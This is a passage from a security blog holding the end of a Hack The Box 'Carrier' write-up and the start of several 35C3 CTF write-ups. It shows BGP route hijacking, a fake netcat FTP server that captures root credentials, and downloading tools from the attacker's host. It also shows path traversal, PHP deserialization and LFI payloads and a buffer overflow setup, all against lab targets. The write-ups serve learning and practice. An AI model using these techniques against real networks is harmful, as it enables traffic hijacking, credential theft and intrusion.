network</strong>.</p> </li> <li> <p>Routes are <strong>dynamically advertised via BGP</strong> and we have control over a <strong>BGP router</strong>.</p> </li> <li> <p>The <strong>priority of BGP routes</strong> depends on the <strong>size of the advertised subnet</strong> (i.e. a route to 10.120.15.0/25 will be given a higher priority than one announcing 10.120.15.0/24).</p> </li> </ul> <p>If we sum up all of these assumptions, we should be able to <strong>advertise a fake route to the FTP server</strong> to our BGP neighbours so <strong>the Nigerian Prince will try to connect to a server inside our own subnet</strong>. Since we want to <strong>steal his credentials</strong>, we will need to <strong>setup an FTP server</strong> which will ask for a login and a password to anyone contacting it. Once those credentials stolen, we will stop advertising the fake route and connect to the real FTP server with the Nigerian Prince’s logins.</p> <p>Because a picture speaks a thousand words:</p> <p><img src="/assets/2019-03-16/attack.png" alt="Attack" title="Attack" /></p> <p>Alright, it is time to move on to the realization.</p> <h3 id="1012015024-scanning">10.120.15.0/24 scanning</h3> <p>We know the FTP server is somewhere inside the 10.120.15.0/24 subnet but we don’t have its <strong>exact IP address</strong>. A simple <strong>bash script executing <code class="language-plaintext highlighter-rouge">ping</code> on the whole subnet</strong> was enough to find out which hosts were up.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span> <span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> <span class="o">==</span> <span class="s2">""</span> <span class="o">]</span> <span class="k">then </span><span class="nb">echo</span> <span class="s2">"Usage ./pingscript.sh [network]"</span> <span class="k">else for </span>x <span class="k">in</span> <span class="sb">`</span><span class="nb">seq </span>1 254<span class="sb">`</span><span class="p">;</span> <span class="k">do </span>ping <span class="nt">-c</span> 1 <span class="nv">$1</span>.<span class="nv">$x</span> | <span class="nb">grep</span> <span class="s2">"64 bytes"</span> | <span class="nb">cut</span> <span class="nt">-d</span><span class="s2">" "</span> <span class="nt">-f4</span> | <span class="nb">sed</span> <span class="s1">'s/.$//'</span> <span class="k">done fi</span> </code></pre></div></div> <p>This script can be <strong>uploaded to r1</strong> using <code class="language-plaintext highlighter-rouge">wget</code> on a <strong>local webserver running on our machine</strong> that we have just set up with <code class="language-plaintext highlighter-rouge">python -m SimpleHTTPServer</code>.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@r1:~# wget http://10.10.14.89:8000/pingscript.sh <span class="nt">-O</span> /tmp/script.sh wget http://10.10.14.89:8000/pingscript.sh <span class="nt">-O</span> /tmp/script.sh <span class="nt">--2019-03-17</span> 13:26:31-- http://10.10.14.89:8000/pingscript.sh Connecting to 10.10.14.89:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 182 <span class="o">[</span>text/x-sh] Saving to: ‘/tmp/script.sh’ 0K 100% 19.6M<span class="o">=</span>0s 2019-03-17 13:26:31 <span class="o">(</span>19.6 MB/s<span class="o">)</span> - ‘/tmp/script.sh’ saved <span class="o">[</span>182/182] </code></pre></div></div> <p>The result of the execution revealed two hosts: <strong>10.120.15.1</strong> and <strong>10.120.15.10</strong>.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@r1:~# <span class="nb">chmod</span> +x /tmp/script.sh <span class="nb">chmod</span> +x /tmp/script.sh root@r1:~# /tmp/script.sh 10.120.15 /tmp/script.sh 10.120.15 10.120.15.1 10.120.15.10 </code></pre></div></div> <p>Using the same technique as previously, I have uploaded <strong>a static version of <code class="language-plaintext highlighter-rouge">nmap</code></strong> in order to <strong>scan the two hosts</strong> with more details.</p> <h4 id="10120151">10.120.15.1</h4> <p>The scan on the first host found didn’t show any FTP server.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@r1:~# /tmp/nmap <span class="nt">-v</span> 10.120.15.1 /tmp/nmap <span class="nt">-v</span> 10.120.15.1 Starting Nmap 6.49BETA1 <span class="o">(</span> http://nmap.org <span class="o">)</span> at 2019-03-17 13:36 UTC <span class="o">[</span>...] PORT STATE SERVICE 22/tcp open ssh 179/tcp open bgp Read data files from: /etc Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>1.59 seconds Raw packets sent: 1210 <span class="o">(</span>53.216KB<span class="o">)</span> | Rcvd: 1208 <span class="o">(</span>48.388KB<span class="o">)</span> </code></pre></div></div> <h4 id="101201510">10.120.15.10</h4> <p>10.120.15.10 seems to be our guy!</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@r1:~# /tmp/nmap <span class="nt">-v</span> 10.120.15.10 /tmp/nmap <span class="nt">-v</span> 10.120.15.10 Starting Nmap 6.49BETA1 <span class="o">(</span> http://nmap.org <span class="o">)</span> at 2019-03-17 13:38 UTC <span class="o">[</span>...] PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 53/tcp open domain Read data files from: /etc Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>1.60 seconds Raw packets sent: 1210 <span class="o">(</span>53.216KB<span class="o">)</span> | Rcvd: 1208 <span class="o">(</span>48.392KB<span class="o">)</span> </code></pre></div></div> <p>We can now move on to the <strong>BGP Hijacking</strong> part.</p> <h3 id="bgp-hijacking">BGP Hijacking</h3> <blockquote> <p>NOTE: The way I did BGP Hijacking was not the intended one, but it was much easier and faster. For a clear explanation of the intended method, I recommend you to watch <a href="https://www.youtube.com/watch?v=2ZxRA8BgmnA">ippsec’s video</a> or to read <a href="https://0xdf.gitlab.io/2019/03/16/htb-carrier.html">0xdf’s writeup</a>.</p> </blockquote> <h4 id="fake-route-advertising">Fake route Advertising</h4> <p>Quagga routers can be administrated via <code class="language-plaintext highlighter-rouge">vtysh</code>. In order to <strong>advertise a route to the BGP neighbors</strong>, the following commands are enough:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@r1:~# vtysh vtysh Hello, this is Quagga <span class="o">(</span>version 0.99.24.1<span class="o">)</span><span class="nb">.</span> Copyright 1996-2005 Kunihiro Ishiguro, et al. r1# conf t conf t r1<span class="o">(</span>config<span class="o">)</span><span class="c"># router bgp 100</span> router bgp 100 r1<span class="o">(</span>config-router<span class="o">)</span><span class="c"># network 10.120.15.0/25</span> network 10.120.15.0/25 r1<span class="o">(</span>config-router<span class="o">)</span><span class="c"># exit</span> <span class="nb">exit </span>r1<span class="o">(</span>config<span class="o">)</span><span class="c"># exit</span> <span class="nb">exit</span> </code></pre></div></div> <p>The prefix <strong>/25</strong> is voluntarily more specific than <strong>/24</strong> so that our route will be given <strong>a higher priority</strong>.</p> <h4 id="changing-eth2-ip-address">Changing eth2 ip address</h4> <p>Now, we have to <strong>add the ip address of the FTP server to eth2 interface</strong>.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@r1:~# ip addr add 10.120.15.10/25 dev eth2 ip addr add 10.120.15.10/25 dev eth2 root@r1:~# ip a ip a <span class="o">[</span>...] 12: eth2@if13: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default qlen 1000 <span class="nb">link</span>/ether 00:16:3e:20:98:df brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 10.78.11.1/24 brd 10.78.11.255 scope global eth2 valid_lft forever preferred_lft forever inet 10.120.15.10/25 scope global eth2 valid_lft forever preferred_lft forever inet6 fe80::216:3eff:fe20:98df/64 scope <span class="nb">link </span>valid_lft forever preferred_lft forever </code></pre></div></div> <p>The Nigerian Prince should now be <strong>redirected to our machine</strong>. We can verify this by <strong>listening on port 21</strong> with <code class="language-plaintext highlighter-rouge">nc</code>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@r1:~# nc <span class="nt">-lvnp</span> 21 nc <span class="nt">-lvnp</span> 21 Listening on <span class="o">[</span>0.0.0.0] <span class="o">(</span>family 0, port 21<span class="o">)</span> Connection from <span class="o">[</span>10.78.10.2] port 21 <span class="o">[</span>tcp/<span class="k">*</span><span class="o">]</span> accepted <span class="o">(</span>family 2, sport 44696<span class="o">)</span> USER root PASV QUIT </code></pre></div></div> <p>We can see that the user <strong>root</strong> is trying to login but it <strong>disconnects instantly</strong> since <strong>our server is not answering</strong>.</p> <h3 id="faking-an-ftp-server">Faking an FTP server</h3> <p>There is no need to code something complicated in order to <strong>fake an FTP server</strong>, it can be very simply done with <code class="language-plaintext highlighter-rouge">nc</code>. The <strong>FTP protocol uses raw telnet commands</strong> so we can fake a server by <strong>typing response codes manually</strong>. All we have to do is to reply with code <strong>331</strong> after the user has sent his username. Then, the user will supply his <strong>password in plaintext</strong>.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@r1:~# nc <span class="nt">-lvnp</span> 21 nc <span class="nt">-lvnp</span> 21 Listening on <span class="o">[</span>0.0.0.0] <span class="o">(</span>family 0, port 21<span class="o">)</span> Connection from <span class="o">[</span>10.78.10.2] port 21 <span class="o">[</span>tcp/<span class="k">*</span><span class="o">]</span> accepted <span class="o">(</span>family 2, sport 44728<span class="o">)</span> USER root 331 Follow @BoiteAKlou <span class="c"># Typed manually</span> PASS BGPtelc0rout1ng PASV QUIT </code></pre></div></div> <h3 id="retrieving-the-flag">Retrieving the flag</h3> <p>It looks like we have the <strong>root credentials</strong> of the <strong>real FTP server</strong>! Let’s verify this.</p> <p>After <strong>removing the ip address of the FTP server from eth2</strong> and resetting the BGP configuration, we are finally able to connect to <strong>the real Carrier machine</strong> (FTP credentials == SSH credentials).</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@r1:~# ip addr del 10.120.15.10/25 dev eth2 root@r1:~# ifdown eth2 ifdown eth2 root@r1:~# ifup eth2 ifup eth2 root@r1:~# ping <span class="nt">-c</span> 1 10.120.15.10 ping <span class="nt">-c</span> 1 10.120.15.10 PING 10.120.15.10 <span class="o">(</span>10.120.15.10<span class="o">)</span> 56<span class="o">(</span>84<span class="o">)</span> bytes of data. 64 bytes from 10.120.15.10: <span class="nv">icmp_seq</span><span class="o">=</span>1 <span class="nv">ttl</span><span class="o">=</span>63 <span class="nb">time</span><span class="o">=</span>0.054 ms <span class="nt">---</span> 10.120.15.10 ping statistics <span class="nt">---</span> 1 packets transmitted, 1 received, 0% packet loss, <span class="nb">time </span>0ms rtt min/avg/max/mdev <span class="o">=</span> 0.054/0.054/0.054/0.000 ms root@r1:~# python3 <span class="nt">-c</span> <span class="s1">'import pty;pty.spawn("/bin/bash")'</span> python3 <span class="nt">-c</span> <span class="s1">'import pty;pty.spawn("/bin/bash")'</span> root@r1:~# ssh [email protected] ssh [email protected] [email protected]<span class="s1">'s password: BGPtelc0rout1ng Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-24-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sun Mar 17 15:31:44 UTC 2019 System load: 0.07 Users logged in: 0 Usage of /: 40.8% of 19.56GB IP address for ens33: 10.10.10.105 Memory usage: 47% IP address for lxdbr0: 10.99.64.1 Swap usage: 1% IP address for lxdbr1: 10.120.15.10 Processes: 220 * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 4 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Wed Sep 5 14:32:15 2018 root@carrier:~# ls ls root.txt secretdata.txt root@carrier:~# cat root.txt cat root.txt 283[...] </span></code></pre></div></div> <h2 id="final-words">Final words</h2> <p>I would like to thank <strong>snowscan</strong>, the author of this great box. It’s pretty rare to find network-related boxes because it requires a lot of preparation and materials. However, boxes like this are very realistic and allow us to learn a lot of new skills.</p> <p>Thanks for reading this writeup, I hope you’ve enjoyed!</p> <p id="signature">BoiteAKlou :hammer:</p>BoiteAKlouCarrier was a very interesting box where a web command injection gave access to a BGP router. After some BGP Hijacking magic, it was possible to retrieve the FTP credentials of a rich Nigerian Prince, which allowed us to read the flag stored on this FTP server…35C3 CTF Writeups2018-12-31T16:00:00+00:002018-12-31T16:00:00+00:00/35C3-CTF-Writeups<p><img src="/assets/2018-12-30/ccc-logo.gif" alt="CCL logo" title="CCL logo" /></p> <p>This weekend was held the <strong>35th Chaos Communication Congress (35C3)</strong> as long as its excellent CTF. Hopefully, a Junior CTF was also proposed, which was way more accessible than the main CTF (at least for me :wink:). In this post, you’ll find <span style="color:green;">concise writeups</span> of most of the challenges my team and I solved from both CTFs. <br /> <!--excerpt--></p> <h2 class="no_toc" id="table-of-contents">Table of Contents</h2> <ul id="markdown-toc"> <li><a href="#main-ctf-web---php" id="markdown-toc-main-ctf-web---php">[Main CTF] Web - php</a> <ul> <li><a href="#solution" id="markdown-toc-solution">Solution</a></li> </ul> </li> <li><a href="#junior-ctf-web---flags" id="markdown-toc-junior-ctf-web---flags">[Junior CTF] Web - flags</a> <ul> <li><a href="#solution-1" id="markdown-toc-solution-1">Solution</a></li> </ul> </li> <li><a href="#junior-ctf-web---logged-in" id="markdown-toc-junior-ctf-web---logged-in">[Junior CTF] Web - logged in</a> <ul> <li><a href="#solution-2" id="markdown-toc-solution-2">Solution</a></li> </ul> </li> <li><a href="#junior-ctf-web---mcdonald" id="markdown-toc-junior-ctf-web---mcdonald">[Junior CTF] Web - McDonald</a> <ul> <li><a href="#solution-3" id="markdown-toc-solution-3">Solution</a></li> </ul> </li> <li><a href="#junior-ctf-web---notee-accessible" id="markdown-toc-junior-ctf-web---notee-accessible">[Junior CTF] Web - Note(e) accessible</a> <ul> <li><a href="#solution-4" id="markdown-toc-solution-4">Solution</a></li> </ul> </li> <li><a href="#junior-ctf-pwn---1996" id="markdown-toc-junior-ctf-pwn---1996">[Junior CTF] Pwn - 1996</a> <ul> <li><a href="#solution-5" id="markdown-toc-solution-5">Solution</a></li> </ul> </li> <li><a href="#junior-ctf-pwn---poet" id="markdown-toc-junior-ctf-pwn---poet">[Junior CTF] Pwn - poet</a> <ul> <li><a href="#solution-6" id="markdown-toc-solution-6">Solution</a></li> </ul> </li> <li><a href="#junior-ctf-forensic---rare_mount" id="markdown-toc-junior-ctf-forensic---rare_mount">[Junior CTF] Forensic - rare_mount</a></li> <li><a href="#junior-ctf-forensic---epic_mount" id="markdown-toc-junior-ctf-forensic---epic_mount">[Junior CTF] Forensic - epic_mount</a></li> <li><a href="#junior-ctf-forensic---legendary_mount" id="markdown-toc-junior-ctf-forensic---legendary_mount">[Junior CTF] Forensic - legendary_mount</a></li> </ul> <h2 id="main-ctf-web---php">[Main CTF] Web - php</h2> <blockquote> <p>PHP’s unserialization mechanism can be exceptional. Guest challenge by jvoisin.</p> <p>Files at https://35c3ctf.ccc.ac/uploads/php-ff2d1f97076ff25c5d0858616c26fac7.tar. Challenge running at: nc 35.242.207.13 1</p> </blockquote> <p>We were given the following PHP script:</p> <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nv">$line</span> <span class="o">=</span> <span class="nb">trim</span><span class="p">(</span><span class="nb">fgets</span><span class="p">(</span><span class="nx">STDIN</span><span class="p">));</span> <span class="nv">$flag</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'/flag'</span><span class="p">);</span> <span class="kd">class</span> <span class="nc">B</span> <span class="p">{</span> <span class="k">function</span> <span class="nf">__destruct</span><span class="p">()</span> <span class="p">{</span> <span class="k">global</span> <span class="nv">$flag</span><span class="p">;</span> <span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="nv">$a</span> <span class="o">=</span> <span class="o">@</span><span class="nb">unserialize</span><span class="p">(</span><span class="nv">$line</span><span class="p">);</span> <span class="k">throw</span> <span class="k">new</span> <span class="nx">Exception</span><span class="p">(</span><span class="s1">'Well that was unexpected…'</span><span class="p">);</span> <span class="k">echo</span> <span class="nv">$a</span><span class="p">;</span> </code></pre></div></div> <p>Here is what we can observe:</p> <ol> <li>The user input isn’t sanitized before being unserialized.</li> <li>Instantiating an object of type “B” would echo the flag.</li> </ol> <h3 id="solution">Solution</h3> <p>The following serialized payload will create a B object when getting unserialized: <code class="language-plaintext highlighter-rouge">O:1:"B":1:{s:4:"flag"}</code>.</p> <p>We can translate this payload into: “An <strong>O</strong>bject whose name is <strong>1</strong> char long, which has a <strong>s</strong>tring whose name is <strong>flag</strong> of size <strong>4</strong>”.</p> <p><img src="/assets/2018-12-30/php-flag.png" alt="php flag" title="php flag" /></p> <h2 id="junior-ctf-web---flags">[Junior CTF] Web - flags</h2> <blockquote> <p>Fun with flags: http://35.207.132.47:84</p> <p>Flag is at /flag</p> <p>Difficulty estimate: Easy</p> </blockquote> <p>Here is a screen capture of the website’s frontpage:</p> <p><img src="/assets/2018-12-30/flags-site.png" alt="Flags frontpage" title="Flags frontpage" /></p> <p>Observations:</p> <ol> <li>$lang parameter is defined by HTTP_ACCEPT_LANGUAGE header.</li> <li>str_replace removes “../” but is only called once.</li> <li>The output of file_get_contents is base64-encoded inside the image.</li> </ol> <h3 id="solution-1">Solution</h3> <p>str_replace will remove “../” from the user-controlled header, but what about this string “…/./”?</p> <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">$</span> <span class="nx">php</span> <span class="o">-</span><span class="nx">a</span> <span class="nx">php</span> <span class="o">&gt;</span> <span class="k">echo</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'../'</span><span class="p">,</span><span class="s1">''</span><span class="p">,</span><span class="s1">'..././'</span><span class="p">);</span> <span class="o">../</span> </code></pre></div></div> <p>Based on this, we can forge the following payload: <code class="language-plaintext highlighter-rouge">..././..././..././..././..././..././..././..././flag</code></p> <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">php</span> <span class="o">&gt;</span> <span class="k">echo</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'../'</span><span class="p">,</span><span class="s1">''</span><span class="p">,</span><span class="s1">'..././..././..././..././..././..././..././..././flag'</span><span class="p">);</span> <span class="o">../../../../../../../../</span><span class="nx">flag</span> </code></pre></div></div> <p>Then put it in place of the HTTP_ACCEPT_LANGUAGE header with Burpsuite and we have the following result:</p> <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;/code&gt;&lt;img</span> <span class="na">src=</span><span class="s">"data:image/jpeg;base64,MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo="</span><span class="nt">&gt;</span> </code></pre></div></div> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo="</span> | <span class="nb">base64</span> <span class="nt">-d</span> 35c3_this_flag_is_the_be5t_fl4g </code></pre></div></div> <h2 id="junior-ctf-web---logged-in">[Junior CTF] Web - logged in</h2> <blockquote> <p>Phew, we totally did not set up our mail server yet. This is bad news since nobody can get into their accounts at the moment… It’ll be in our next sprint. Until then, since you cannot login: enjoy our totally finished software without account.</p> <p>http://35.207.132.47/</p> <p>Difficulty Estimate: Easy</p> </blockquote> <p>We are facing a very basic website with a login functionnality asking for a username and sending a verification code. If we submit the right verification code, we get logged in. Pretty simple, right?</p> <h3 id="solution-2">Solution</h3> <p>Actually, the mail sending functionnality is not implemented yet and <strong>the verification code is retrieved by our client with a simple API call</strong>, as shown in the following screen capture:</p> <p><img src="/assets/2018-12-30/loggedin-code.png" alt="Loggedin code" title="Loggedin code" /></p> <p>We can now submit the verification code to the appropriated field:</p> <p><img src="/assets/2018-12-30/loggedin-ask.png" alt="Loggedin ask" title="Loggedin ask" /></p> <p>And we can read the flag inside the cookies section:</p> <p><img src="/assets/2018-12-30/loggedin-flag.png" alt="Loggedin flag" title="Loggedin flag" /></p> <h2 id="junior-ctf-web---mcdonald">[Junior CTF] Web - McDonald</h2> <blockquote> <p>Our web admin name’s “Mc Donald” and he likes apples and always forgets to throw away his apple cores..</p> <p>http://35.207.132.47:85</p> </blockquote> <p>This webpage was empty at first but the <strong>robots.txt</strong> file shows us the following path: <code class="language-plaintext highlighter-rouge">/backup/.DS_Store</code>.</p> <p>.DS_Store is a macOS only file which stores attributes of its containing folder. The idea, here, is to retrieve the location of the flag with the help of .DS_Store files. Problem is that the creator of this challenge was pretty naughty and created loads of subdirectories named “a”, “b” or “c”…</p> <h3 id="solution-3">Solution</h3> <p>Thanks to <a href="https://digi.ninja/projects/fdb.php">File Disclosure Browser</a>, we could parse the .DS_Store file and extract information about the name of other files in the current folder.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>boiteaclou@Kalinka:~/CTF/2018/35C3-Junior/Web/McDonald<span class="nv">$ </span>fdb/fdb.pl <span class="nt">--type</span> ds <span class="nt">--filename</span> ./DS_Store <span class="nt">--base_url</span> http://35.207.91.38/backup /.DS_Store URL: http://35.207.91.38/backup/.DS_Store/a URL: http://35.207.91.38/backup/.DS_Store/a URL: http://35.207.91.38/backup/.DS_Store/a URL: http://35.207.91.38/backup/.DS_Store/a URL: http://35.207.91.38/backup/.DS_Store/b URL: http://35.207.91.38/backup/.DS_Store/b URL: http://35.207.91.38/backup/.DS_Store/b URL: http://35.207.91.38/backup/.DS_Store/b URL: http://35.207.91.38/backup/.DS_Store/b URL: http://35.207.91.38/backup/.DS_Store/b URL: http://35.207.91.38/backup/.DS_Store/b URL: http://35.207.91.38/backup/.DS_Store/b URL: http://35.207.91.38/backup/.DS_Store/c URL: http://35.207.91.38/backup/.DS_Store/c URL: http://35.207.91.38/backup/.DS_Store/c URL: http://35.207.91.38/backup/.DS_Store/c URL: http://35.207.91.38/backup/.DS_Store/c URL: http://35.207.91.38/backup/.DS_Store/c URL: http://35.207.91.38/backup/.DS_Store/c URL: http://35.207.91.38/backup/.DS_Store/c </code></pre></div></div> <p>To make the browsing of all the subdirectories faster, I created a small wordlist containing the strings <strong>“a”</strong>, <strong>“b”</strong>, <strong>“c”</strong> and <strong>“.DS_Store”</strong> and fed it to <code class="language-plaintext highlighter-rouge">dirb</code>.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat </span>out.dirb | <span class="nb">grep </span>200 + http://35.207.91.38/backup/.DS_Store <span class="o">(</span>CODE:200|SIZE:10244<span class="o">)</span> + http://35.207.91.38/backup/b/.DS_Store <span class="o">(</span>CODE:200|SIZE:6148<span class="o">)</span> + http://35.207.91.38/backup/c/.DS_Store <span class="o">(</span>CODE:200|SIZE:8196<span class="o">)</span> + http://35.207.91.38/backup/b/a/.DS_Store <span class="o">(</span>CODE:200|SIZE:8196<span class="o">)</span> + http://35.207.91.38/backup/b/b/.DS_Store <span class="o">(</span>CODE:200|SIZE:6148<span class="o">)</span> + http://35.207.91.38/backup/c/b/.DS_Store <span class="o">(</span>CODE:200|SIZE:12292<span class="o">)</span> + http://35.207.91.38/backup/c/c/.DS_Store <span class="o">(</span>CODE:200|SIZE:8196<span class="o">)</span> + http://35.207.91.38/backup/b/a/b/.DS_Store <span class="o">(</span>CODE:200|SIZE:6148<span class="o">)</span> + http://35.207.91.38/backup/b/a/c/.DS_Store <span class="o">(</span>CODE:200|SIZE:6148<span class="o">)</span> + http://35.207.91.38/backup/b/b/c/.DS_Store <span class="o">(</span>CODE:200|SIZE:6148<span class="o">)</span> </code></pre></div></div> <p>Manually exploring each <strong>.DS_Store</strong> file revealed the presence of <strong>flag.txt</strong> under <strong>http://35.207.91.38/backup/b/a/c/flag.txt</strong></p> <p><code class="language-plaintext highlighter-rouge">35c3_Appl3s_H1dden_F1l3s</code></p> <h2 id="junior-ctf-web---notee-accessible">[Junior CTF] Web - Note(e) accessible</h2> <blockquote> <p>We love notes. They make our lifes more structured and easier to manage! In 2018 everything has to be digital, and that’s why we built our very own note-taking system using micro services: Not(e) accessible! For security reasons, we generate a random note ID and password for each note.</p> <p>Recently, we received a report through our responsible disclosure program which claimed that our access control is bypassable…</p> <p>http://35.207.132.47:90</p> <p>Difficulty estimate: Easy-Medium</p> </blockquote> <p>This website allows us to create a note and to consult it with an URL of this form: <code class="language-plaintext highlighter-rouge">http://35.207.120.163/view.php?id=6578216296439429496&amp;pw=47bce5c74f589f4867dbd57e9ca9f808</code> .</p> <p>The source of this challenge is available under <strong>/src.tgz</strong>.</p> <p>Observations:</p> <ol> <li>The <strong>pw</strong> parameter is the md5 hash of the note’s content.</li> <li>In the code, we see that the <strong>id is a random Integer</strong>.</li> <li>The code of <strong>view.php</strong> suggests a LFI vulnerability: <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">require_once</span> <span class="s2">"config.php"</span><span class="p">;</span> <span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'id'</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nb">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'pw'</span><span class="p">]))</span> <span class="p">{</span> <span class="nv">$id</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'id'</span><span class="p">];</span> <span class="k">if</span><span class="p">(</span><span class="nb">file_exists</span><span class="p">(</span><span class="s2">"./pws/"</span> <span class="o">.</span> <span class="p">(</span><span class="nx">int</span><span class="p">)</span> <span class="nv">$id</span> <span class="o">.</span> <span class="s2">".pw"</span><span class="p">))</span> <span class="p">{</span> <span class="k">if</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"./pws/"</span> <span class="o">.</span> <span class="p">(</span><span class="nx">int</span><span class="p">)</span> <span class="nv">$id</span> <span class="o">.</span> <span class="s2">".pw"</span><span class="p">)</span> <span class="o">==</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'pw'</span><span class="p">])</span> <span class="p">{</span> <span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$BACKEND</span> <span class="o">.</span> <span class="s2">"get/"</span> <span class="o">.</span> <span class="nv">$id</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">die</span><span class="p">(</span><span class="s2">"ERROR!"</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">die</span><span class="p">(</span><span class="s2">"ERROR!"</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="cp">?&gt;</span> </code></pre></div> </div> </li> <li>The flag will be echoed if we manage to make a GET request to /admin: <div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">get</span> <span class="s1">'/admin'</span> <span class="k">do</span> <span class="no">File</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="s2">"flag.txt"</span><span class="p">)</span> <span class="k">end</span> </code></pre></div> </div> </li> </ol> <h3 id="solution-4">Solution</h3> <p>Combining the <strong>LFI</strong> with the <strong>get request to /admin</strong> gives the following payload:</p> <p><code class="language-plaintext highlighter-rouge">http://35.207.120.163/view.php?id=6578216296439429496/../../admin&amp;pw=47bce5c74f589f4867dbd57e9ca9f808</code></p> <p>The <strong>id</strong> and <strong>pw</strong> are the ones from a test note we’ve created before, they have to be valid in order for the exploit to work.</p> <p><img src="/assets/2018-12-30/note-accessible-flag.png" alt="Note-accessible flag" title="Note-accessible flag" /></p> <h2 id="junior-ctf-pwn---1996">[Junior CTF] Pwn - 1996</h2> <blockquote> <p>It’s 1996 all over again!</p> <p>nc 35.207.132.47 22227</p> <p>Difficulty estimate: very easy</p> </blockquote> <p>First pwning challenge of this CTF! A very basic one to warm us up :wink:. We were given this <a href="/assets/2018-12-30/1996.zip" title="1996 zip">zip</a> containing the binary and its C++ source code.</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// compile with -no-pie -fno-stack-protector</span> <span class="cp">#include &lt;iostream&gt; #include &lt;unistd.h&gt; #include &lt;stdlib.h&gt; </span> <span class="k">using</span> <span class="k">namespace</span> <span class="n">std</span><span class="p">;</span> <span class="kt">void</span> <span class="nf">spawn_shell</span><span class="p">()</span> <span class="p">{</span> <span class="kt">char</span><span class="o">*</span> <span class="n">args</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="s">"/bin/bash"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">};</span> <span class="n">execve</span><span class="p">(</span><span class="s">"/bin/bash"</span><span class="p">,</span> <span class="n">args</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> <span class="p">}</span> <span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span> <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span> <span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Which environment variable do you want to read? "</span><span class="p">;</span> <span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">buf</span><span class="p">;</span> <span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="n">buf</span> <span class="o">&lt;&lt;</span> <span class="s">"="</span> <span class="o">&lt;&lt;</span> <span class="n">getenv</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="n">endl</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>Observations:</p> <ol> <li>The binary has been compiled without stack protector.</li> <li>The buffer overflow is pretty obvious here.</li> <li>a <strong>spawn_shell</strong> function is given to help us.</li> </ol> <h3 